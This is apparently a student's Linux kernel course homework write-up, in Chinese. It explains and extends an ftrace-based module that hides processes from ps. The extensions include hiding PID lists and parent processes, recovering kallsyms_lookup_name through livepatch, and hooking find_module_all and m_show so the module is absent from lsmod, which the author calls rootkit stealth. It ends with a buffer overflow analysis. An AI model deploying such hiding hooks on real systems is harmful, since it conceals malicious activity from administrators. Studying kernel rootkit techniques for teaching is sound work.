Try   HackMD

2021q3 Homework1 (quiz1)

tags: 2021 年暑期「Linux 核心」

contributed by <u1f383>

由於當初以為在 10 分鐘之內就要送出答案,因此沒能好好完成作答區的問題,在此補上答案:

AAA = list_for_each_entry_safe
BBB = list_for_each_entry_safe
CCC = list_add_tail(&proc->list_node, &hidden_proc);
DDD = list_del(&proc->list_node);

0. 環境

$ uname -a            
Linux ubuntu 5.8.0-63-generic ... x86_64 x86_64 x86_64 GNU/Linux

1. 解釋上述程式碼運作原理,包含 ftrace 的使用

kernel module 在 init function 時透過 device_create() 註冊了 device,其中也包含定義對 device 執行 open release read write 所呼叫到的 function,比較重要的為 read 以及 write:

/* called when user read something from device */
static ssize_t device_read(struct file *filep,
                           char *buffer,
                           size_t len,
                           loff_t *offset)
{
    pid_node_t *proc, *tmp_proc;
    char message[MAX_MESSAGE_SIZE];
    if (*offset)
        return 0;

    /* copy all proc pid of hidden procs to user */
    list_for_each_entry_safe (proc, tmp_proc, &hidden_proc, list_node) {
        memset(message, 0, MAX_MESSAGE_SIZE);
        sprintf(message, OUTPUT_BUFFER_FORMAT, proc->id);
        copy_to_user(buffer + *offset, message, strlen(message));
        *offset += strlen(message);
    }
    return *offset;
}

當執行 read 時會呼叫 device_read,遍歷所有的 hidden_proc,並且將每個 process 的 pid 連接後回傳給使用者。

/* called when user write something into device */
static ssize_t device_write(struct file *filep,
                            const char *buffer,
                            size_t len,
                            loff_t *offset)
{
    long pid;
    char *message;

    char add_message[] = "add", del_message[] = "del";
    if (len < sizeof(add_message) - 1 && len < sizeof(del_message) - 1)
        return -EAGAIN;

    message = kmalloc(len + 1, GFP_KERNEL);
    memset(message, 0, len + 1);
    copy_from_user(message, buffer, len);

    if (!memcmp(message, add_message, sizeof(add_message) - 1)) { /* add <pid> */
        kstrtol(message + sizeof(add_message), 10, &pid);
        hide_process(pid);
    } else if (!memcmp(message, del_message, sizeof(del_message) - 1)) { /* del <pid> */
        kstrtol(message + sizeof(del_message), 10, &pid);
        unhide_process(pid);
    } else {
        kfree(message);
        return -EAGAIN;
    }

    *offset = len;
    kfree(message);
    return len;
}

當執行 write 時會呼叫 device_write,當接收到的 data 格式為 add <pid>,會執行 hide_process<pid> 加入 hidden process 的 list 當中;當接收到的 data 格式為 del <pid>,會執行 unhide_process<pid> 從 hidden process 的 list 當中移除。

而在 init function 的最後呼叫 init_hook,初始化 ftrace 相關 structure,流程大致如下:

  1. 在 function init_hook 中初始化了 hook 的名稱 "find_ge_pid"、hook function hook_find_ge_pid 以及要被 hook 的 function find_ge_pid
  2. 而後在 function hook_install 中,設定了 ftrace rule,rule 大致上是當 kernel 執行到 find_ge_pid 時,會先去執行 filter function hook_ftrace_thunkhook_ftrace_thunk 會先判斷 find_ge_pid 是否由當前 module 所呼叫,若不是的話,會將 instruction pointer (ip) 指向先前設定的 hook function hook_find_ge_pid
  3. 呼叫 register_ftrace_function 註冊 ftrace function,最後離開程式

根據 find_ge_pid 的註解說明,此 function 用在找尋大於等於 (ge) 給定 pid 的 process 的 struct pid,在 userland 中找尋 process 相關的命令如 ps 皆會使用到,然而 ftrace 會在真正執行之前加上 hook function 來做處理,讓我們看一下 hook function hook_find_ge_pid 的行為:

static struct pid *hook_find_ge_pid(int nr, struct pid_namespace *ns)
{
    /* First we get the orig return pid from find_ge_pid() */
    struct pid *pid = real_find_ge_pid(nr, ns);
    /* Next we check whether the pid is in hidden_proc list,
        if it is, return pid greater than or equal nr+1 and
        not hidden instead of return the pid of hidden proc. */
    while (pid && is_hidden_proc(pid->numbers->nr))
        pid = real_find_ge_pid(pid->numbers->nr + 1, ns);
    return pid;
}

hook_find_ge_pid 會先取得原本執行 real_find_ge_pid 的結果,如果回傳的 pid 存在於 hidden_proc,也就是先前透過 write 來定義的 pid list,就會將 pid + 1 後在執行 real_find_ge_pid。該步驟重複執行到 pid 不在 hidden_proc 當中,就會將結果回傳,繼續執行。

做個總結:

  1. user 可以透過對 device 下命令,透過 write 傳入如 add <pid> 的字串,讓 module 把 <pid> 加到 hidden_proc
  2. userland 執行 ps 相關取得 process 資訊的指令時,ftrace function 會被 trigger,並且回傳不在 hidden_proc 中大於等於 pid 的 process 的 struct pid

2. 本程式僅在 Linux v5.4 測試,若你用的核心較新,請試著找出替代方案

2020 年的變更 Unexporting kallsyms_lookup_name()
Access to kallsyms on Linux 5.7+

linux kernel document 中有提到 linux kenrel 提供許多機制可以做程式執行重導向,目的是讓 user 能夠在不重開機的情況下,能夠修補引發錯誤的 critical function。透過這些機制能夠取得 function pointer 並使用,而在本實驗中也可以用來取得 kallsyms_lookup_name 的 function pointer。

而在這邊我選擇使用 livepatch 的方式,並參考 kallsyms-mod repo 說明並加以研究:

  1. kernel livepatching interface
/* -----------add----------- */
/**
 * @old_name:	name of the function to be patched
 * @new_func:	pointer to the patched function code
 */
static struct klp_func funcs[] = {
	{
		.old_name = "kallsyms_lookup_name",
		.new_func = kallsyms_lookup_name,
	}, { }
};

static struct klp_func failfuncs[] = {
	{
		.old_name = "___________________",
	}, { }
};

/**
 * klp_object - kernel object structure for live patching
 * @name:	module name (or NULL for vmlinux)
 * @funcs:	function entries for functions to be patched in the object
 */
static struct klp_object objs[] = {
	{
		.funcs = funcs,
	},
	{
		.name = "kallsyms_failing_name",
		.funcs = failfuncs,
	}, { }
};

/**
 * klp_patch - patch structure for live patching
 * @mod:	reference to the live patch module
 * @objs:	object entries for kernel objects to be patched
 */
static struct klp_patch patch = {
	.mod = THIS_MODULE,
	.objs = objs,
};

unsigned long kallsyms_lookup_name(const char *name)
{
	return ((unsigned long(*)(const char *))funcs->old_func)(name);
}

int init_kallsyms(void)
{
    /* klp_enable_patch - enable the livepatch */
	int r = klp_enable_patch(&patch);

	if (!r)
		return -1;

	return 0;
}

/* -----------patch----------- */
static void init_hook(void)
{
    if (init_kallsyms() != 0)
        return;
    real_find_ge_pid = kallsyms_lookup_name("find_ge_pid");
    printk(KERN_INFO "find_ge_pid: %lx\n", real_find_ge_pid);
    ...
}

將上述程式碼加進 hideproc.c 後,並需要額外 include <linux/livepatch.h>,以及定義 module info MODULE_INFO(livepatch, "Y"); 就能順利執行。

而這邊有個匪夷所思的地方,如果 livepatch 沒有加上 obj kallsyms_failing_name 則無法順利執行,但是我有嘗試執行過官方提供的 sample code 來執行,除了最後要使用 echo 0 | sudo tee /sys/kernel/livepatch/hideproc/enabled 關閉 livepatch 才能順利 remove module 之外,也沒有特別加上 failing function:

{
    .name = "kallsyms_failing_name",
    .funcs = failfuncs,
}, 

3. 本核心模組只能隱藏單一 PID,請擴充為允許其 PPID 也跟著隱藏,或允許給定一組 PID 列表,而非僅有單一 PID

允許給定一組 PID 列表,而非僅有單一 PID

/* called when user write something into device */
static ssize_t device_write(struct file *filep,
                            const char *buffer,
                            size_t len,
                            loff_t *offset)
{
    ...
    if (!memcmp(message, add_message, sizeof(add_message) - 1)) { /* add <pid> */
        char *pid_list = message + sizeof(add_message);
        char **ptr = &pid_list;
        char *cur;

        while ((cur = strsep(ptr, " ")) != NULL) {
            if (strlen(cur) && !kstrtol(cur, 10, &pid)) {
                printk(KERN_INFO "[add] get pid: %ld\n", pid);
                hide_process(pid);
            }
        }
    } else if (!memcmp(message, del_message, sizeof(del_message) - 1)) { /* del <pid> */
        char *pid_list = message + sizeof(del_message);
        char **ptr = &pid_list;
        char *cur;

        while ((cur = strsep(ptr, " ")) != NULL) {
            if (strlen(cur) && !kstrtol(cur, 10, &pid)) {
                printk(KERN_INFO "[del] get pid: %ld\n", pid);
                unhide_process(pid);
            }
        }
    }
    ...
}

當使用者傳送的資料格式為 add <pid1>{spaces}<pid2>{spaces}<pidN> 或是 del <pid1>{spaces}<pid2>{spaces}<pidN>,hideproc 可以透過 strsep parse 傳入的 pids 做到一次新增/刪除多個 pid。

允許其 PPID 也跟著隱藏

static int hide_process(pid_t pid)
{
    pid_node_t *proc = kmalloc(sizeof(pid_node_t), GFP_KERNEL);
    proc->id = pid;
    list_add_tail(&proc->list_node, &hidden_proc); /* add a new node to tail of list_head */

    /**
     * Get the corresponding task_struct from pid, and if pid has parent,
     * create a new hidden proc node for it.
     */
    struct task_struct *p = pid_task(find_vpid(pid), PIDTYPE_PID);
    
    /* The process has parent :) */
    if (p != NULL && p->parent != NULL) {
        pid_node_t *parent = kmalloc(sizeof(pid_node_t), GFP_KERNEL);
        parent->id = p->parent->pid;
        list_add_tail(&parent->list_node, &hidden_proc);
    }

    return SUCCESS;
}

在隱藏指定 pid 時,先去看是否 pid 有 parent,如果有的話也把他加到 hidden_proc 當中。而檢察是否有 parent 的方式為: 先用 pid_task() 取得對應 pid 的 task_struct,而其中 member parent 則是指向 parent 的 task_struct,如果 pointer 存在代表有 parent,即可從 member pid 取得 parent pid。

4.指出程式碼可改進的地方,並動手實作

從功能方面來看,由於使用 lsmod 指令仍可以看到此 module,作為 rootkit 來使用容易被發現,因此效法 hidden process 的方法,透過 hook 的方式讓 module 不會在 lsmod 中顯示,但是仍會出現在目錄 /dev 底下。

#define MODULE_NAME "hideproc_m"

static struct module *hook_find_module_all(const char *name, size_t len,
                                            bool even_unformed)
{
    if (!strcmp(name, MODULE_NAME))
        return NULL;

    return real_find_module_all(name, len, even_unformed);
}

static int *hook_m_show(struct seq_file *m, void *p)
{
    struct module *mod = list_entry(p, struct module, list);

    if (!strcmp(mod->name, MODULE_NAME))
        return 0;
    return real_m_show(m, p);
}

static void init_hook(void)
{
    if (init_kallsyms() != 0)
        return;
    
    /**
     * find_module_all is called when user use command such 
     * as "rmmod", so hooking at find_module_all and check if
     * argument is our module name, if it is, just return.
     */
    real_find_module_all = kallsyms_lookup_name("find_module_all");
    printk(KERN_INFO "find_module_all: %lx\n", real_find_module_all);
    module_hook.name = "find_module_all";
    module_hook.func = hook_find_module_all; /* hook function */
    module_hook.orig = &real_find_module_all; /* real function */
    hook_install(&module_hook);

    ...

    /**
     * When user uses command "lsmod", it will read /proc/modules,
     * and /proc/modules will use kernel function "m_show" to show
     * all module information.
     * We hook at m_show called, and check if argument is struct of 
     * our module, if it is, just return. */
    real_m_show = kallsyms_lookup_name("m_show");
    printk(KERN_INFO "m_show: %lx\n", real_m_show);
    m_show_hook.name = "m_show";
    m_show_hook.func = hook_m_show; /* hook function */
    m_show_hook.orig = &real_m_show; /* real function */
    hook_install(&m_show_hook);
}

資源使用方面補齊了 _hideproc_exit() 當中需要 release 資源的部分,以免造成 memory leak:

/**
 * _hideproc_exit() - reset ftrace hook and clear device
 */
static void _hideproc_exit(void)
{
    printk(KERN_INFO "@ %s\n", __func__);
    /* free all memory */
    pid_node_t *proc, *tmp_proc;
    list_for_each_entry_safe (proc, tmp_proc, &hidden_proc, list_node) {
        list_del(&proc->list_node);
        kfree(proc);
    }
    /* remove ftrace hook */
    hook_remove(&module_hook);
    hook_remove(&ge_pid_hook);
    hook_remove(&m_show_hook);
    /* removes a device that was created with device_create() */
    device_destroy(hideproc_class, MKDEV(MAJOR(dev), MINOR_VERSION));
    cdev_del(&cdev); /* remove a cdev from the system */;
    class_destroy(hideproc_class); /* destroys a struct class structure */
    /* unregister a range of device numbers */
    unregister_chrdev_region(&dev, MINOR_VERSION);
}

然後我發現 read 的部分可能會有 overflow 的問題:

/* called when user read something from device */
static ssize_t device_read(struct file *filep,
                           char *buffer,
                           size_t len,
                           loff_t *offset)
{
    ...
    char message[MAX_MESSAGE_SIZE]; // buffer size 13
    ...
    list_for_each_entry_safe (proc, tmp_proc, &hidden_proc, list_node) {
        memset(message, 0, MAX_MESSAGE_SIZE);
        sprintf(message, OUTPUT_BUFFER_FORMAT, proc->id);
        copy_to_user(buffer + *offset, message, strlen(message));
        *offset += strlen(message);
    }
    return *offset;
}

其中 proc->id 的型態是 pid_t:

// https://elixir.bootlin.com/linux/v5.8/source/include/linux/types.h#L22
typedef __kernel_pid_t		pid_t;

// https://elixir.bootlin.com/linux/v5.8/source/include/uapi/asm-generic/posix_types.h#L28
typedef int		__kernel_pid_t;

pid 的上限為 4194304 (/proc/sys/kernel/pid_max),而透過 sprintf() 產生出來的最長字串為 pid: 4194304\n 13 bytes,但是 sprintf() 結尾會有一個 NULL byte,可以透過簡單的 c 程式做範例:

#include <stdio.h>

int main()
{
    char message[13] = {0};
    sprintf(message, "pid: %d\n", 4194304);

    return 0;
}

在編譯時期 gcc 就會跳出警告:

test.c: In function ‘main’:
test.c:6:32: warning: ‘sprintf’ writing a terminating nul past the end of the destination [-Wformat-overflow=]
    8 |     sprintf(message, "pid: %d\n", 4194304);
      |                                ^
test.c:6:5: note: ‘sprintf’ output 14 bytes into a destination of size 13
    8 |     sprintf(message, "pid: %d\n", 4194304);
      |     ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

寫入前執行 set *(int64_t*)(0x7fffffffdd2b+8)=0xdeadbeefdeadbeef 幫助我們觀察:

pwndbg> x/10gx 0x7fffffffdd2b
0x7fffffffdd2b:	0x0000000000000000	0xdeadbeefdeadbeef
0x7fffffffdd3b:	0x000000b1a5490c47	0xde10b30000000000

寫入後:

pwndbg> x/10gx 0x7fffffffdd2b
0x7fffffffdd2b:	0x393134203a646970	0xdead000a34303334
0x7fffffffdd3b:	0x000000b1a5490c47	0xde10b30000000000

在第 14 個 byte 被寫入 00 (NULL byte),因此可能會造成

這只是正常情況下會發生的問題,然而我們沒辦法保證使用者傳入的 pid 是否是正常的 pid 範圍 (1~4194304),至少因為 pid 的型態是 int,最多可以到 2147483647,然而 10 bytes 的字串就足夠蓋到變數 message[] 正常能夠存取到的地方了。

而如果電腦是 32 位元,是否會有更大的問題?

解決方法有二:

  1. 限制傳入的 pid 是否符合 /proc/sys/kernel/pid_max 所規範
  2. 將 buffer size 設定成更大的數值

由於是從 kernel space 將資料 copy 到 userland,我們會好奇是否能透過 device_read 取得 kernel 記憶體位置,不過的是這邊使用的是 sprintf,結尾必定會加上 NULL byte 來截斷,因此沒辦法來 leak kernel address;而因為 buffer 下面的就是 canary 了,因此能 overflow 的部分也沒辦法做利用。


最後有發現 hidden_proc 並沒有檢測是否出現 duplicate pid,因此可以在每次新增 list node 時做檢查。